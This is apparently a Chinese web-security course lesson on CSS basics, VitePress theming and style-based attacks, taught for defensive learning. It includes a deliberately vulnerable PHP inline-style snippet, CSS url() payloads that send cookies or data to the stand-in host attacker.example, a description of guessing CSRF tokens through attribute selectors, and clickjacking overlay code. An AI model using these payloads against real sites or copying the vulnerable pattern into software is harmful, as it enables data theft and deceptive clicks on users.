主题
CSS:页面皮肤与"样式也能被注入"
上一课的 HTML 决定了页面"有什么",这一课决定页面"长什么样"。CSS 看起来最无害——不就是调颜色吗?但点击劫持、界面伪装钓鱼、CSS 注入外带数据,全都靠样式实现。这一课只要你看懂、会改就好,不必背属性。
一、CSS 的语法只有一条规则:选谁 + 改成什么样
css
h1 {
color: #3451b2;
font-size: 24px;
}h1是选择器:说清楚"选谁"- 花括号里是一堆声明:每条都是
属性: 值;,说清楚"改成什么样"
CSS 有三种写法,安全视角下它们的"可注入性"完全不同:
| 写法 | 例子 | 特点 |
|---|---|---|
| 外部样式表 | <link rel="stylesheet" href="/style.css"> | 最好维护,浏览器会缓存 |
| 内部样式 | <style> 标签写在 head 里 | 只影响当前页面 |
| 内联样式 | <p style="color: red"> | 优先级最高,也最容易被拼接注入 |
二、选择器与优先级:谁说了算
常用选择器,从松到紧:
css
p { } /* 标签选择器:所有段落 */
.card { } /* 类选择器:class="card" 的元素 */
#main { } /* ID 选择器:id="main" 的那一个 */
a[target="_blank"] { } /* 属性选择器:带这个属性的链接 */
a:hover { } /* 伪类:鼠标悬停时 */当多条规则打架时,浏览器按**优先级(specificity)**裁决,可以粗略记成打分:
| 来源 | 分值 |
|---|---|
行内 style="" | 1000 |
#id | 100 |
.class、[attr]、:hover | 10 |
| 标签名 | 1 |
!important | 直接插队,凌驾以上全部 |
分数高的赢;分数一样时,后写的赢。理解这一条,你以后才能解释"为什么我在 F12 里改了颜色它却不变"——通常是被更高优先级的规则压住了。
三、盒模型:尺寸对不上的真相
每个元素都是一个盒子,由内到外四层:
text
margin(外边距,盒子与盒子之间)
border(边框)
padding(内边距,边框与内容之间)
content(内容本身)新手最常踩的坑是:给一个 width: 100px 的盒子加 padding: 10px,它实际占 120px。原因是默认 box-sizing: content-box,宽度只算 content。现代项目几乎都会全局设置:
css
* { box-sizing: border-box; }意思是"width 就把 padding 和 border 一起算进去",符合直觉。
四、display 与 position:决定元素怎么摆
display 值 | 效果 |
|---|---|
block | 独占一行(h1、p、div) |
inline | 跟着文字流走(a、span) |
flex | 弹性布局,现代排版主力 |
none | 直接从渲染中消失(最常用的调试开关) |
position 值 | 效果 |
|---|---|
static | 默认,按文档流排 |
relative | 相对自己原位偏移,仍占位 |
absolute | 相对最近的定位祖先自由飞行,不占位 |
fixed | 相对浏览器窗口固定,滚动也不动 |
sticky | 滚到某处才粘住 |
再配上 top / left / z-index(层叠顺序,数字大的盖在上面),你就已经具备制造点击劫持所需的全部工具了。没错,就这么简单,危险的东西往往不难。
五、CSS 变量:改 VitePress 主题的钥匙
CSS 变量(自定义属性)以两个减号开头,用 var() 取用:
css
:root {
--vp-c-brand-1: #3451b2;
}
.vp-doc a {
color: var(--vp-c-brand-1);
}--vp-c-brand-1 是 VitePress 官方的品牌色变量。它存在的意义是:你不用去改一长串颜色值,只要覆盖这一个变量,全站的链接、按钮、侧边栏高亮会一起变色。
这正是本站 自定义主题与界面 那节课的技术底座。你现在只要记住:想改一个 VitePress 站的外观,先去找它的 CSS 变量,而不是硬写 color: red。
💡 动手实验 1:打开
https://learn.myxbw.cn,按F12切到 Console,粘贴执行这一行,然后回车:jsdocument.documentElement.style.setProperty('--vp-c-brand-1', '#e60000')页面里的链接、按钮会立刻变红。按
F5刷新一下,颜色又恢复原样——因为你改的只是本地 DOM,没有动服务器上的任何文件。这就是"变量驱动力"最直观的一次演示。
六、<style> 标签与内联样式:为什么样式也能被注入
如果代码是这样写的:
html
<div class="box" style="background: url(<?php echo $_GET['bg']; ?>)">你以为用户在填一个图片地址。但 CSS 的 url() 允许值是任意 URL,于是访问 ?bg=https://attacker.example/steal?cookie=x,浏览器就会替攻击者发出一条请求。
css
/* 攻击者提交的"图片地址"可以长得像这样 */
x); background-image: url('https://attacker.example/log?data=xxx')更经典的一招是用属性选择器逐个字符试出 token:把 token 的每一位做成 input[value^="a"] 这样的规则,命中就让背景图去请求一个带字母的地址,攻击者靠请求日志一位一位还原出完整的 CSRF token。
expression() 是 IE 时代的遗产,它允许在 CSS 里执行 JavaScript(expression(alert(1))),现代浏览器(包括你的 Edge)早已废弃,所以你只在老资料里看到它。但它提醒你一件事:历史上 CSS 确实能执行代码,所以"样式注入"从来不是无害的。
防御思路和后端那套一样:别把用户输入拼进样式,能写死的写死,必须用户自定义的用白名单(比如只允许 # 开头的六位色值),再配合 CSP 的 style-src 限制。
七、F12 实时改样式:最快的调试方式
打开 https://learn.myxbw.cn,按 F12 → Elements 面板:
- 点面板左上角的箭头图标,再点页面上任意元素,左边就会高亮到对应的 DOM 节点
- 右侧 Styles 面板列出所有命中的规则,每条前面的复选框可以临时取消勾选
- 直接点数值拖动或改写,页面即时变化;Computed 标签页能看出最终生效的是哪条规则
- 顶部的
:hov按钮可以强制一个元素进入:hover/:active状态,方便调那些"鼠标一移开就看不到"的样式
这套流程的价值在于:改样式是零风险的。刷新即还原,服务器毫不知情。
💡 动手实验 2:在
https://learn.myxbw.cn上,用上面第 1 步选中页面顶部的站点标题,在 Styles 里把它的color改成#e60000、再加一条letter-spacing: 8px。然后勾选它所在的.VPNav里的display: none,整条导航栏会消失。刷新页面,一切复原。做完这一遍,你就正式掌握了"用眼睛读 CSS"。
八、两个"看样子就知道被改过"的场景
场景一:钓鱼页。 攻击者把真实登录页的 HTML 和 CSS 原样下载下来,只改一处——<form> 的 action 指向自己的服务器。页面看起来 100% 一样,地址栏却是 myxbw-login.example.cn 这种仿冒域名。这也是为什么安全习惯里第一条永远是:看域名,别看页面。
场景二:点击劫持。 把目标站点放进 iframe,然后用 CSS 让它"看不见但还在":
css
iframe {
position: absolute;
top: 0;
left: 0;
width: 100%;
height: 100%;
opacity: 0; /* 完全透明,但依然可以点击 */
z-index: 9999;
}再在下面放一句"点这里领取资料",用户点到的其实是透明 iframe 里真实站点的按钮。这正是你知识库那条 x-frame-options: DENY 要防的攻击。
💡 动手实验 3:在桌面上新建
click-test.html,写进下面这段,用 Edge 打开(只在自己的站点上做这一步):html<!DOCTYPE html> <html lang="zh-CN"> <body style="margin:0"> <button style="position:absolute;top:40px;left:40px;z-index:1;padding:20px"> 点这里领资料 </button> <iframe src="https://learn.myxbw.cn" style="position:absolute;top:0;left:0; width:100%;height:100%;opacity:0.15;z-index:2;border:0"></iframe> </body> </html>把
opacity从0.15改成0,按钮还在但页面看不见了——那就是点击劫持的完整形态。同时注意 F12 Console 里有没有"拒绝在框架中显示"的报错:有报错说明防护生效,没报错就说明这个站还缺X-Frame-Options,可以写进你的学习笔记。
小结
- CSS = 选择器 + 声明;优先级行内 > ID > 类 > 标签,
!important插队 - 盒模型四层:content / padding / border / margin,现代项目一律
box-sizing: border-box display决定怎么排,position+z-index决定怎么叠- CSS 变量(
--vp-c-brand-1这类)是改 VitePress 主题最省力的入口 - 样式可以注入:
url()能外带数据,历史上的expression()能执行 JS - 点击劫持 = iframe +
opacity: 0+position: absolute,x-frame-options: DENY就是它的解药 - F12 改样式零风险、刷新即还原,是你以后最常用的观察手段
下一课进入真正的主战场:JavaScript——同源策略和 XSS 都在那里。
📎 本课对应知识库阅读:《点击劫持》(对照文中的透明层那一节,你已经在自己的机器上复现过原理了)。